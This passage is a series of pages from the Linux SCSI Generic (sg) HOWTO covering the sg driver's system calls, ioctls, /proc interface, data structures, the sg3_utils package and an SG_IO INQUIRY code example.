    if ((ioctl(sg_fd, SG_GET_VERSION_NUM, &k) < 0) || (k < 30000)) {
        printf("%s is not an sg device, or old sg driver\n", argv[1]);
        return 1;
    }
    /* Prepare INQUIRY command */
    memset(&io_hdr, 0, sizeof(sg_io_hdr_t));
    io_hdr.interface_id = 'S';
    io_hdr.cmd_len = sizeof(inqCmdBlk);
    /* io_hdr.iovec_count = 0; */  /* memset takes care of this */
    io_hdr.mx_sb_len = sizeof(sense_buffer);
    io_hdr.dxfer_direction = SG_DXFER_FROM_DEV;
    io_hdr.dxfer_len = INQ_REPLY_LEN;
    io_hdr.dxferp = inqBuff;
    io_hdr.cmdp = inqCmdBlk;
    io_hdr.sbp = sense_buffer;
    io_hdr.timeout = 20000;     /* 20000 millisecs == 20 seconds */
    /* io_hdr.flags = 0; */     /* take defaults: indirect IO, etc */
    /* io_hdr.pack_id = 0; */
    /* io_hdr.usr_ptr = NULL; */

    if (ioctl(sg_fd, SG_IO, &io_hdr) < 0) {
        perror("sg_simple0: Inquiry SG_IO ioctl error");
        return 1;
    }

    /* now for the error processing */
    if ((io_hdr.info & SG_INFO_OK_MASK) != SG_INFO_OK) {
        if (io_hdr.sb_len_wr > 0) {
            printf("INQUIRY sense data: ");
            for (k = 0; k < io_hdr.sb_len_wr; ++k) {
                if ((k > 0) && (0 == (k % 10)))
                    printf("\n  ");
                printf("0x%02x ", sense_buffer[k]);
            }
            printf("\n");
        }
        if (io_hdr.masked_status)
            printf("INQUIRY SCSI status=0x%x\n", io_hdr.status);
        if (io_hdr.host_status)
            printf("INQUIRY host_status=0x%x\n", io_hdr.host_status);
        if (io_hdr.driver_status)
            printf("INQUIRY driver_status=0x%x\n", io_hdr.driver_status);
    }
    else {  /* assume INQUIRY response is present */
        char * p = (char *)inqBuff;
        printf("Some of the INQUIRY command's response:\n");
        printf("    %.8s  %.16s  %.4s\n", p + 8, p + 16, p + 32);
        printf("INQUIRY duration=%u millisecs, resid=%d\n",
               io_hdr.duration, io_hdr.resid);
    }
    close(sg_fd);
    return 0;
}

The sg_simple4.c program is an example of using mmap-ed IO in the sg3_utils package. An example of using direct IO can be found in sg_rbuf.c in the same package.

Prev | Home | Next
sg_header, the original sg control structure |  | Debugging


poll()

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.4. poll()

poll(struct pollfd *ufds, unsigned int nfds, int timeout). This call can be used to check the state of a sg file descriptor. It will always respond immediately. Typical usages are to periodically poll the state of a sg file descriptor and to determine why a SIG_IO signal was received.

For file descriptors associated with sg devices:

  • POLLIN one or more responses is awaiting a read()

  • POLLOUT command can be sent to write() without causing an EDOM error (i.e. sufficient space on sg's queues)

  • POLLHUP SCSI device has been detached, awaiting cleanup

  • POLLERR internal structures are inconsistent

POLLOUT indicates the sg will not block a new write() or SG_IO ioctl(). However it is still possible (but unlikely) that the mid level or an adapter may block (or yield EAGAIN).

Prev | Home | Next
read() | Up | close()


Sg and the "proc" file system

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 11. Sg and the "proc" file system

The sg driver provides information about the SCSI subsystem and the current internal state of the sg driver in the /proc/scsi/sg directory. Some sg driver defaults can be changed by super user writing values to these "pseudo" files [1].

The following files which are readable by all:
allow_dio       0 indicates direct IO disable, 1 for enabled
debug           debug information including active request data
def_reserved_size  default buffer size reserved for each file descriptor
devices         one line of numeric data per device
device_hdr      single line of column names corresponding to 'devices'
device_strs     one line of vendor, product and rev info per device
hosts           one line of numeric data per host
host_hdr        single line of column names corresponding to 'hosts'
host_strs       one line of host information (string) per host
version         sg version as a number followed by a string representation

Each line in 'devices' and 'device_strs' corresponds to an sg device. For example the first line corresponds to /dev/sg0. The line number (origin 0) also corresponds to the sg minor device number. This mapping is local to sg and is normally the same as given by th cat /proc/scsi/scsi command which is reported by the SCSI mid level driver. The two mappings may diverge when 'remove-single-device' and 'add-single-device' are used (see the SCSI-2.4-HOWTO for more information).

Each line in 'hosts' and 'host_strs' corresponds to a SCSI host. For example the first line corresponds to the host normally represented as "scsi0". This mapping is invariant across the SCSI sub system. [So these entries could arguably be migrated to the mid level.]

The column headers in 'device_hdr' are given below. If the device is not present (and one is present after it) then a line of "-1" entries is output. Each entry is separated by a whitespace (currently a tab):
host            host number (indexes 'hosts' table, origin 0)
chan            channel number of device
id              SCSI id of device
lun             Logical Unit number of device
type            SCSI type (e.g. 0->disk, 5->cdrom, 6->scanner)
opens           number of opens (by sd, sr, sr and sg) at this time
depth           maximum queue depth supported by device
busy            number of commands being processed by host for this device
online          1 indicates device is in normal online state, 0->offline
A SCSI device is set offline by the SCSI mid level when it decides that a device is no longer responding (e.g. the device does not respond to an SCSI INQUIRY command after it has been reset).

The column headers in 'host_hdr' are given below. Each entry is separated by a whitespace (currently a tab):
uid             unique id (non-zero if multiple hosts of same type)
busy            number of commands being processed for this host
cpl             maximum number of command per lun (may be 0 if "device depth"
                is given
sgat            maximum elements of scatter gather the adapter (pseudo)
                DMA can accommodate
isa             0 -> non-ISA adapter, 1 -> ISA adapter. ISA adapters are
                assumed to have a 24 bit address bus limit (16 MB).
emu             0 -> real SCSI adapter, 1 -> emulated SCSI adapter
                (e.g. ide-scsi device driver)

The 'def_reserved_size' is both readable and writable. It is only writable by root. It is initialized to the value of DEF_RESERVED_SIZE in the "sg.h" file. Values between 0 and 1048576 (which is 2 ** 20) are accepted and can be set from the command line with the following syntax:
$ echo "262144" > /proc/scsi/sg/def_reserved_size
Note that the actual reserved buffer associated with a file descriptor could be less than 'def_reserved_size' if appropriate memory is not available. If the sg driver is compiled into the kernel (but not when it is a module) this value can also be read at /proc/sys/kernel/sg-big-buff . This latter feature is deprecated.

The 'allow_dio' is both readable and writable. It is only writable by root. When it is 0 (default) any request to do direct IO (i.e. by setting SG_FLAG_DIRECT_IO) will be ignored and indirect IO will be done instead.

Notes

[1]

One strange quirk is that the /proc/scsi/sg directory will not appear if there are no SCSI devices (or pseudo devices such as USB mass storage) attached to the system. The reason for this is that in the absence of SCSI devices, the SCSI mid level does not initialize the sg driver (even if it has been loaded as a module). When the sg driver is a module and the rmmod sg is successfully executed then the /proc/scsi/sg directory and its contents are removed.

Prev | Home | Next
Driver and module initialization |  | /proc/scsi/sg/debug


read()

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.3. read()

read(int sg_fd, void * buffer, size_t count). The action of read() with a control block based on struct sg_header is discussed in the earlier document: www.torque.net/sg/p/scsi-generic.txt (i.e. the sg version 2 documentation). This section describes the action of read() when it is given a control block based on struct sg_io_hdr.

The 'buffer' should point to an object of type sg_io_hdr_t and 'count' should be sizeof(sg_io_hdr_t) [it can be larger but the excess is ignored]. If the read() call succeeds then the 'count' is returned as the result.

By default, read() will return the oldest completed request that is queued up. A read() will not interfere with any request associated with the SG_IO ioctl() on this file descriptor except in a special case when a SG_IO ioctl() is interrupted by a signal.

If the SG_SET_FORCE_PACK_ID,1 ioctl() is active then read() will attempt to fetch the packet whose pack_id (given earlier to write()) matches the sg_io_hdr_t::pack_id given to this read(). If not available it will either wait or yield EAGAIN. As a special case, -1 in sg_io_hdr_t::pack_id given to read() will match the request whose response has been waiting for the longest time. Take care to also set 'dxfer_direction' to any valid value (e.g. SG_DXFER_NONE) when in this mode. The 'interface_id' member should also be set appropriately.

Apart from the SG_SET_FORCE_PACK_ID case (and then only for the 3 indicated fields), the sg_io_hdr_t object given to read() can be uninitialized. Note that the 'sbp' pointer value for optionally outputting a sense buffer was recorded from the earlier, corresponding write().

Prev | Home | Next
write() | Up | poll()


Other references

The Linux SCSI Generic (sg) HOWTO
Prev

Appendix E. Other references

The primary site for SCSI information, standards (draft and emerging) and related reseources is www.t10.org.

The most recent news on the sg driver can be found at: www.torque.net/sg .

Some notes on the sg v3 driver can be found at: www.torque.net/sg/s_packet.html . For some timings (and CPU utilizations) comparisons between direct and indirect IO see: www.torque.net/sg/rbuf_tbl.html

The Linux Documentation Project's SCSI-2.4-HOWTO may help to put this driver into perspective: linuxdoc.org/HOWTO/SCSI-2.4-HOWTO . The most recent version of that document can be found at www.torque.net/scsi/SCSI-2.4-HOWTO .

To understand the inner workings of device drivers there is a fine book called "Linux Device Drivers", second edition by Alessandro Rubini and Jonathan Corbet published by O'Reilly [ISBN 0-596-00008-1]. The authors and the publisher have unselfishly made this book available under the GNU Free Documentation License (version 1.1). It can be found in html at www.oreilly.com/catalog/linuxdrive2/chapter/book .

Prev | Home
Debugging |


SG_SET_DEBUG

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.4. SG_SET_DEBUG

SG_SET_DEBUG 0x227e. The third argument is assumed to point to an int. The default value is 0. If this call is made pointing to an int greater than 0 then any SCSI request that is issued that results in the SCSI status of CHECK_CONDITION (or COMMAND_TERMINATED) will cause a message to be sent to the log (and perhaps the console). The message is information derived from the sense buffer (i.e. the SCSI error message) and it is prefixed with "sg_cmd_done_bh".

The other actions of debug mode performed in version 2 of the sg driver have been removed as they are no longer needed. The internal state of the sg driver can now be found by viewing the output of cat /proc/scsi/sg/debug.

Prev | Home | Next
SG_SET_COMMAND_Q (and _GET_) | Up | SG_EMULATED_HOST


SG_SET_FORCE_LOW_DMA

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.7. SG_SET_FORCE_LOW_DMA

SG_SET_FORCE_LOW_DMA 0x2279. Assumes 3rd argument points to an int containing 0 or 1. 0 (default) means sg decides whether to use memory above 16 Mbyte level (on i386) based on the host adapter being used by this SCSI device. Typically PCI SCSI adapters will indicate they can DMA to the whole 32 bit address space. If 1 is given then the host adapter is overridden and only memory below the 16MB level is used for DMA. A requirement for this should be extremely rare. If the "reserved" buffer allocated on open() is not in use then it will be de-allocated and re-allocated under the 16MB level (and the latter operation could fail yielding ENOMEM). Only the current file descriptor is affected.

Prev | Home | Next
SG_SET_KEEP_ORPHAN (and _GET_) | Up | SG_GET_LOW_DMA


SG_SET_FORCE_PACK_ID

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.11. SG_SET_FORCE_PACK_ID

SG_SET_FORCE_PACK_ID 0x227b. Assumes 3rd argument is pointing to an int. 0 (default) instructs read() to return the oldest (written) packet if multiple packets are waiting to be read. 1 instructs read() to view the sg_io_hdr::pack_id (or sg_header::pack_id) as input and return the oldest packet matching that pack_id or wait until it arrives. If the file descriptor is in O_NONBLOCK state, rather than wait this ioctl() will yield EAGAIN. As a special case the pack_id of -1 given to read() in the mode will match the oldest packet. Only the current file descriptor is affected by this command.

Prev | Home | Next
SG_GET_NUM_WAITING | Up | SG_GET_PACK_ID


SG_SET_TIMEOUT

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.19. SG_SET_TIMEOUT

SG_SET_TIMEOUT 0x2201. Assumes 3rd argument points to an int containing the new timeout value for this file descriptor. The unit is a "jiffy". Packets that are already "in flight" will not be affected. The default value is set on open() and is SG_DEFAULT_TIMEOUT (defined in sg.h). This default is currently 1 minute and may not be long enough for formats. Negative values will yield an EIO error. This ioctl() is not relevant to the sg version 3 driver because timeouts are specified explicitly for each command in the sg_io_hdr structure. Only when the sg_header structure is used is the timeout inherited from this value (help on a per file descriptor basis).

Prev | Home | Next
SG_GET_TIMEOUT | Up | SG_SET_TRANSFORM


SG_SET_TRANSFORM

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.20. SG_SET_TRANSFORM

SG_SET_TRANSFORM 0x2204. Only is meaningful when SG_EMULATED host has yielded 1 (i.e. the low-level is the ide-scsi device driver); otherwise an EINVAL error occurs. The default state is to _not_ transform SCSI commands to the corresponding ATAPI commands but pass them straight through as is. [Only certain classes of SCSI commands need to be transformed to their ATAPI equivalents.] The third argument is interpreted as an integer. When it is non-zero then a flag is set inside the ide-scsi driver that transforms subsequent commands sent to this driver. When zero is passed as the 3rd argument to this ioctl then the flag within the ide-scsi driver is cleared and subsequent commands are not transformed. Beware, this state will affect all devices (and hence all related sg file descriptors) associated with this ide-scsi "bus".

Prev | Home | Next
SG_SET_TIMEOUT | Up | SG_GET_TRANSFORM


SCSI_IOCTL_GET_IDLUN

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.23. SCSI_IOCTL_GET_IDLUN

SCSI_IOCTL_GET_IDLUN 0x5382. This ioctl takes a pointer to a "struct scsi_idlun" object as its third argument. The "struct scsi_idlun" is not visible to user applications. To use this, that structure needs to be replicated in the user's program. Something like:
typedef struct my_scsi_idlun {
    int four_in_one;    /* 4 separate bytes of info compacted into 1 int */
    int host_unique_id; /* distinguishes adapter cards from same supplier */
} My_scsi_idlun;
"four_in_one" is made up as follows:
(scsi_device_id | (lun << 8) | (channel << 16) | (host_no << 24))
These 4 components are assumed (or masked) to be 1 byte each. These are the four numbers that the SCSI subsystem uses to index devices, often written as "<host_no, channel, scsi_id, lun>". The 'host_unique_id' assigns a different number to each controller from the same manufacturer/low-level device driver. Most of the information provided by this command is more easily obtained from SG_GET_SCSI_ID.

The 'host_no' element is a change in lk 2.4 kernels. [In the lk 2.2 series and earlier, it was 'low_inode & 0xff' from the procfs entry corresponding to the host.] This change makes the use of the SCSI_IOCTL_GET_BUS_NUMBER ioctl() superfluous.

The advantage of this ioctl() is that it can be called on any SCSI file descriptor.

Prev | Home | Next
Sg ioctls removed in version 3 | Up | SCSI_IOCTL_GET_PCI


SCSI_IOCTL_GET_PCI

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.24. SCSI_IOCTL_GET_PCI

SCSI_IOCTL_GET_PCI 0x5387. Yields the PCI slot name (pci_dev::slot_name) associated with the lower level (adapter) driver that controls the current device. Up to 8 characters are output to the location pointed to by 'arg'. If the current device is not controlled by a PCI device then errno is set to ENXIO. [This ioctl() was introduced in lk 2.4.4]

Prev | Home | Next
SCSI_IOCTL_GET_IDLUN | Up | SCSI_IOCTL_PROBE_HOST


SCSI_IOCTL_PROBE_HOST

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.25. SCSI_IOCTL_PROBE_HOST

SCSI_IOCTL_PROBE_HOST 0x5385. This command should be given a pointer to a 'char' array as its 3rd argument. That array should be at least sizeof(int) long and have the length of the array as an 'int' at the beginning of the array! An ASCII string of no greater than that length containing "information" (or the name) of SCSI host (i.e. adapter) associated with this file descriptor is then placed in the given byte array. N.B. A trailing '\0' may need to be put on the output string if it has been truncated by the input length. Returns 1 if host is present, 0 if it is not and a negative value if there is an error.

Prev | Home | Next
SCSI_IOCTL_GET_PCI | Up | SCSI_IOCTL_SEND_COMMAND


SG_SCSI_RESET

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.15. SG_SCSI_RESET

SG_SCSI_RESET 0x2284. Assumes 3rd argument points to an int. That int should be one of the following defined in the sg.h header:

  • SG_SCSI_RESET_NOTHING (0x0): can be used to poll the device after a reset has been issued to see if it has returned to the normal state. If it is still being reset or it is offline then EBUSY will be placed in errno,

  • SG_SCSI_RESET_DEVICE (0x1): issues a reset to the SCSI device associated with the current sg file descriptor,

  • SG_SCSI_RESET_BUS (0x2): issues a reset to the SCSI bus that contains the device associated with the current sg file descriptor. This will usually have an adverse effect on any other SCSI device sharing this SCSI bus, especially if it was in the middle of an operation,

  • SG_SCSI_RESET_HOST (0x3): issues a reset to the host that controls the SCSI bus that contains the device associated with the current sg file descriptor. This operation can have an adverse effect on any SCSI device that is connected to this host.

The reset options are in ascending order of severity. Not all levels are supported by all linux lower level drivers. Most lower level (adapter) drivers support the SCSI bus reset. These boards often issue a SCSI bus reset during their initialization.

Unfortunately this ioctl() doesn't currently do much (but may in the future after other issues are resolved). Yields an EBUSY error if the SCSI bus or the associated device is being reset when this ioctl() is called, otherwise returns 0. N.B. In some recent distributions there is a patch to the SCSI mid level code that activates this ioctl. Check your distribution.

Prev | Home | Next
SG_SET_RESERVED_SIZE (and _GET_ ) | Up | SG_GET_SCSI_ID


SCSI_IOCTL_SEND_COMMAND

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.26. SCSI_IOCTL_SEND_COMMAND

SCSI_IOCTL_SEND_COMMAND 0x1. This ioctl() also offers a "pass through" SCSI command capability which is a subset of what is offered by the sg driver.

The structure that we are passed should look like:
   struct sdata {
    unsigned int inlen;     [i] Length of data written to device
    unsigned int outlen;    [i] Length of data read from device
    unsigned char cmd[x];   [i] SCSI command (6 <= x <= 16)
                            [o] Data read from device starts here
                            [o] On error, sense buffer starts here
    unsigned char wdata[y]; [i] Data written to device starts here
   };
Notes:

  • The SCSI command length is determined by examining the 1st byte of the given command [1] . There is no way to override this.

  • Data transfers are limited to PAGE_SIZE (4K on i386, 8K on alpha).

  • The length (x + y) must be at least OMAX_SB_LEN bytes long to accommodate the sense buffer when an error occurs. The sense buffer is truncated to OMAX_SB_LEN (16) bytes so that old code will not be surprised.

  • If a Unix error occurs (e.g. ENOMEM) then the user will receive a negative return and the Unix error code in 'errno'. If the SCSI command succeeds then 0 is returned. Positive numbers returned are the compacted SCSI error codes (4 bytes in one int) where the lowest byte is the SCSI status. See the drivers/scsi/scsi.h file for more information on this.

Notes

[1]

Here is the mapping from the SCSI opcode "group" (top 3 bits of opcode) to the assumed length (in lk 2.4.15):
unsigned char scsi_command_size[8] =
{
        6, 10, 10, 12,
        16, 12, 10, 10
};
The assumed length of group 4 commands changed from 12 to 16 in lk 2.4.15 reflecting support for 16 byte SCSI commands being added to the kernel.

Prev | Home | Next
SCSI_IOCTL_PROBE_HOST | Up | Direct and Mmap-ed IO


Sg3_utils package

The Linux SCSI Generic (sg) HOWTO
Prev Next

Appendix A. Sg3_utils package

The sg3_utils package is a collection of programs that use the sg interface. The utilities can be categorized as follows:

  • variants of the Unix dd command: sg_dd, sgp_dd, sgq_dd and sgm_dd,

  • scanning and mapping utilities: sg_scan, sg_map and scsi_devfs_scan,

  • SCSI support: sg_inq, scsi_inquiry, sginfo, sg_readcap, sg_start and sg_reset,

  • timing and testing: sg_rbuf, sg_test_rwbuf, sg_read, sg_turs and sg_debug,

  • example programs: sg_simple1..4 and sg_simple16,

The "dd" family of utilities take a sg device file name as input (i.e. if=<sg_dev_filen_name>), as output of both. They can also take raw device file names [1] instead of sg device file names. One important difference from the standard dd command is that the value given to the block size (bs=) argument must be the exact block size of that device and not a integral multiple as allowed by dd. These "dd" variants are suitable for SCSI Direct Access Devices such as disk and CDROMs (but are not suitable for SCSI tape devices).

The sg3_utils package is designed to be used with the sg version 3 driver found in the lk 2.4 series. There is also a sg_utils package that supports a subset of these commands for the sg version 2 driver (with some support for the original sg driver) which is found in the lk 2.2 series (from and after lk 2.2.6). There are links to the most recent sg3_utils (and sg_utils) packages at the sg website at www.torque.net/sg. There are tarballs and both source and binary rpm packages. At the time of writing the latest sg3_utils tarball is at www.torque.net/sg/p/sg3_utils-0.97.tgz. There is a README file in that tarball that should be examined for up to date information. The more important utility commands (e.g. sg_dd) have "man" pages. [2]

Almost all of the sg device driver capabilities discussed in this document appear in code in one or more of these programs. For example the recently added mmap-ed IO can be found in sgm_dd, sg_read and sg_rbuf.

The sg3_utils package also provides some functions that may be useful for applications that use sg. The functions declared in sg_err.h and defined in sg_err.c categorize SCSI subsystem errors that are returned to an application in a read() or a ioctl(SG_IO). In the case of sense buffers, they are decoded into text message (as per SCSI 2 definitions). There is also a function to do a 64 bit seek (llseek.h).

Notes

[1] | Raw device names are of the form /dev/raw/raw<n> and can be bound to block devices (e.g. an IDE disk partition such as /dev/hda3). The binding is done with the raw command (see "man raw").
[2] | Although the author wrote most of these programs, initially to test facilities within the sg driver, some have been contributed by others. See www.torque.net/sg/u_index.html for more information.
Prev | Home | Next
Asynchronous usage of sg |  | sg_header, the original sg control structure


/proc/scsi/sg/debug

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 11. Sg and the "proc" file system Next

11.1. /proc/scsi/sg/debug

This appendix explains the output from the /proc/scsi/sg/debug which is typically viewed by the command cat /proc/scsi/sg/debug. Below is the (slightly abridged) output while this command: sgp_dd if=/dev/sg0 of=/dev/null bs=512 is executing on the system. That sgp_dd command is using command queuing to read a disk (and the data is written to /dev/null which forgets it).
$ cat /proc/scsi/sg/debug
dev_max(currently)=7 max_active_device=1 (origin 1)
 scsi_dma_free_sectors=416 sg_pool_secs_aval=320 def_reserved_size=32768
 >>> device=sg0 scsi0 chan=0 id=0 lun=0   em=0 sg_tablesize=255 excl=0
   FD(1): timeout=60000ms bufflen=65536 (res)sgat=2 low_dma=0
   cmd_q=1 f_packid=1 k_orphan=0 closed=0
     fin: id=3949312 blen=65536 dur=10ms sgat=2 op=0x28
     act: id=3949440 blen=65536 t_o/elap=60000/10ms sgat=2 op=0x28
     rb>> act: id=3949568 blen=65536 t_o/elap=60000/10ms sgat=2 op=0x28
     act: id=3949696 blen=65536 t_o/elap=60000/0ms sgat=2 op=0x28
Those items output above that are significant to user applications are described below.

Broadly speaking the above output shows everything is going fine. Four SCSI READ(10) commands (SCSI opcode 0x28) for different ids are underway. Three commands are active while one is finished with its status and data read() and the request structure is pending deletion. The "id" corresponds to the pack_id given in the sg_io_hdr structure (or the sg_header structure). In the case if sgp_dd the pack_id value is the block number being given to the SCSI READ (or WRITE). You will notice the 4 ids are 128 apart.

The ">>>" line shows the sg device name followed by the linux scsi adapter, channel, scsi id and lun numbers. The "em=" argument indicates whether the driver emulates a SCSI HBA. The ide-scsi driver would set "em=1". The "sg_tablesize" is the maximum number of scatter gather elements supported by the adapter driver. The "excl=0" indicates no sg open() on this device is currently using the O_EXCL flag.

The next two lines starting with "FD(1)" supply data about the first (and only in this case) open file descriptor on /dev/sg0. The default timeout is 60 seconds however this is only significant if the sg_header interface is being used since the sg_io_hdr interface explicits sets the timeout on a per command basis. "bufflen=65536" is the reserved buffer size for this file descriptor. The "(res)sgat=2" indicates that this reserved buffer requires 2 scatter gather elements. The "low_dma" will be set to 1 for ISA HBAs indicating only the bottom 16 MB of RAM can be used for its kernel buffers. The "cmd_q=1" indicates command queuing is being allowed. The "f_packid=1" indicates the SG_SET_FORCE_PACK_ID mode is on. The "k_orphan" value is 1 in the rare cases when a SG_IO is interrupted while a SCSI command is "in flight". The "closed" value is 1 in the rare cases the file descriptor has been closed while a SCSI command is "in flight".

Each line indented with 5 spaces represents a SCSI command. The state of the command is either:

  • prior: command hasn't been sent to mid level (rare)

  • act: mid level (adapter driver or device) has command

  • rcv: sg bottom half handler has received response to this command (awaiting read() or SG_IO ioctl to complete

  • fin: SCSI response (and optionally data) has been or is being read but the command data structures have not been removed

These states can be optionally prefixed by "rb>>" which means the reserved buffer is being used, "dio>>" which means this command is using direct IO, or "mmap>>" which means that mmap-ed IO is being used by this command. The "id" is the pack_id from this command's interface structure. The "blen" is the buffer length used by the data transfer associated with this command. For commands that a response has been received "dur" shows its duration in milliseconds. For commands still "in flight" an indication of "t_o/elap=60000/10ms" means this command has a timeout of 60000 milliseconds of which 10 milliseconds has already elapsed. The "sgat=2" argument indicates that this command's "blen" requires 2 scatter gather elements. The "op" value is the hexadecimal value of the SCSI command being executed.

If sg has lots of activity then the "debug" output may span many lines and in some cases appear to be corrupted. This occurs because procfs requests fixed buffer sizes of information and, if there is more data to output, returns later to get the remainder. The problem with this strategy is that sg's internal state may have changed. Rather than double buffering, the sg driver just continues from the same offset. While procfs is very useful, ioctl()s (such as SG_GET_REQUEST_TABLE) still have their place.

Prev | Home | Next
Sg and the "proc" file system | Up | Asynchronous usage of sg


sg_header, the original sg control structure

The Linux SCSI Generic (sg) HOWTO
Prev Next

Appendix B. sg_header, the original sg control structure

Following is the original interface structure of the sg driver that dates back to 1991. Those field elements with a "[o]+" are added by the sg version 2 driver which was first placed in lk 2.2.6 in April 1999.
struct sg_header
{
    int pack_len;    /* [o] */
    int reply_len;   /* [i] */
    int pack_id;     /* [i->o] */
    int result;      /* [o] */
    unsigned int twelve_byte:1;     /* [i] */
    unsigned int target_status:5;   /* [o]+ */
    unsigned int host_status:8;     /* [o]+ */
    unsigned int driver_status:8;   /* [o]+ */
    unsigned int other_flags:10;    /* unused */
    unsigned char sense_buffer[SG_MAX_SENSE]; /* [o] */
};      /* This structure is 36 bytes long on i386 */
SCSI commands are sent via write() calls to an sg device name (e.g. /dev/sg0). The data written to write() is of the form <a_sg_header_obj + scsi_command [ + data_to_write]>. The "data_to_write" component is only needed for SCSI commands that transfer data towards the SCSI device. The corresponding read() to the sg device name will yield data of the form <a_sg_header_obj [ + data_to_read]>.

This interface is fully described in the www.torque.net/sg/p/scsi-generic.txt file which documents the sg version 2 driver.

Since many Linux applications use this interface, it is still supported in this version (i.e. version 3) of the driver. Only its most perverse idiosyncrasies have been modified and no major applications have reported any problems running old applications atop this newer driver.

Prev | Home | Next
Sg3_utils package |  | Programming example


SG_IO

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.1. SG_IO

SG_IO 0x2285. The idea is deceptively simple: just hand a sg_io_hdr_t object to an ioctl() and it will return when the SCSI command is finished. It is logically equivalent to doing a write() followed by a blocking read(). The word "blocking" here implies the read() will wait until the SCSI command is complete.

The same file descriptor can be used both for SG_IO synchronous calls and the write() read() sequences at the same time. The sg driver makes sure that the response to a SG_IO call will never accidentally be fetched by a read(). Even though a single file descriptor can be shared in this manner, it is probably more sensible (and results in cleaner code) if separate file descriptors to the same SCSI device are used in this case.

It is possible that the wait for the command completion is interrupted by a signal. In this case the SG_IO call will yield an EINTR error. This is reasonably complex to handle and is discussed in the ioctl(SG_SET_KEEP_ORPHAN) description below. The following SCSI commands will be permitted by SG_IO when the sg file descriptor was opened O_RDONLY:

  • TEST UNIT READY

  • REQUEST SENSE

  • INQUIRY

  • READ CAPACITY

  • READ BUFFER

  • READ(6) (10) and (12)

  • MODE SENSE(6) and (10)

  • LOG SENSE

All commands to SCSI device type SCANNER are accepted. Other cases yield an EPERM error. Note that the write() read() interface must have the sg file descriptor open()-ed with O_RDWR as write permission is required by Linux to execute a write() system call.

The ability of the SG_IO ioctl() to issue certain SCSI commands has led to some relaxation on file descriptors open()ed "read-only" compared with the version 2 sg driver. The open() call will now attempt to allocate a reserved buffer for all newly opened file descriptors. The ioctl(SG_SET_RESERVED_SIZE) will now work on "read-only" file descriptors.

Prev | Home | Next
Ioctl()s | Up | SG_GET_ACCESS_COUNT


The sg_io_hdr_t structure in detail

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 6. The sg_io_hdr_t structure in detail

Table of Contents
6.1. interface_id
6.2. dxfer_direction
6.3. cmd_len
6.4. mx_sb_len
6.5. iovec_count
6.6. dxfer_len
6.7. dxferp
6.8. cmdp
6.9. sbp
6.10. timeout
6.11. flags
6.12. pack_id
6.13. usr_ptr
6.14. status
6.15. masked_status
6.16. msg_status
6.17. sb_len_wr
6.18. host_status
6.19. driver_status
6.20. resid
6.21. duration
6.22. info

The main control structure for the version 3 SCSI generic driver has a struct tag name of "sg_io_hdr" and a typedef name of "sg_io_hdr_t". The structure is shown in abridged form below. The "[i]" notation indicates an input value while "[o]" indicates a value that is output. The "[i->o]" indicates a value that is conveyed from input to output and apart from one special case, is not used by the driver. The "[i->o]" members are meant to aid an application matching the request sent to a write() to the corresponding response received by a read(). For pointers the "[*i]" indicates a pointer that is used for reading from user memory into the driver, "[*o]" is a pointer used for writing, and "[*io]" indicates a pointer used for either reading or writing.
typedef struct sg_io_hdr
{
    int interface_id;           /* [i] 'S' (required) */
    int dxfer_direction;        /* [i] */
    unsigned char cmd_len;      /* [i] */
    unsigned char mx_sb_len;    /* [i] */
    unsigned short iovec_count; /* [i] */
    unsigned int dxfer_len;     /* [i] */
    void * dxferp;              /* [i], [*io] */
    unsigned char * cmdp;       /* [i], [*i]  */
    unsigned char * sbp;        /* [i], [*o]  */
    unsigned int timeout;       /* [i] unit: millisecs */
    unsigned int flags;         /* [i] */
    int pack_id;                /* [i->o] */
    void * usr_ptr;             /* [i->o] */
    unsigned char status;       /* [o] */
    unsigned char masked_status;/* [o] */
    unsigned char msg_status;   /* [o] */
    unsigned char sb_len_wr;    /* [o] */
    unsigned short host_status; /* [o] */
    unsigned short driver_status;/* [o] */
    int resid;                  /* [o] */
    unsigned int duration;      /* [o] */
    unsigned int info;          /* [o] */
} sg_io_hdr_t;  /* 64 bytes long (on i386) */

Prev | Home | Next
Theory of operation |  | interface_id


System calls

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 7. System calls

Table of Contents
7.1. open()
7.2. write()
7.3. read()
7.4. poll()
7.5. close()
7.6. mmap()
7.7. fcntl(sg_fd, F_SETFL, oflags | FASYNC)
7.8. Errors reported in errno

System calls that can be used on sg devices are discussed in this chapter. The ioctl() system call is discussed in the following chapter [ see Chapter 8 ].

Successfully opening a sg device file name (e.g. /dev/sg0) establishes a link between a file descriptor and an attached SCSI device. The sg driver maintains state information and resources at both the SCSI device (e.g. exclusive lock) and the file descriptor (e.g. reserved buffer) levels.

A SCSI device can be detached while an application has a sg file descriptor open. An example of this is a "hotplug" device such as a USB mass storage device that has just been unplugged. Most subsequent system calls that attempt to access the detached SCSI device will yield ENODEV. The close() call will complete silently while the poll() call will "or" in POLLHUP to its result. A subsequent attempt to open() that device name will yield ENODEV.

Prev | Home | Next
info |  | open()


Theory of operation

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 5. Theory of operation

The path of a request through the sg driver can be broken into 3 distinct stages:

  1. The request is received from the user, resources are reserved as required (e.g. kernel buffer for indirect IO). If necessary, data in the user space is transferred into kernel buffers. Then the request is submitted to the SCSI mid level (and then onto the adapter) for execution. The SCSI mid level maintains a queue so the request may have to wait. If a SCSI device supports command queuing then it may be able to accommodate multiple outstanding requests.

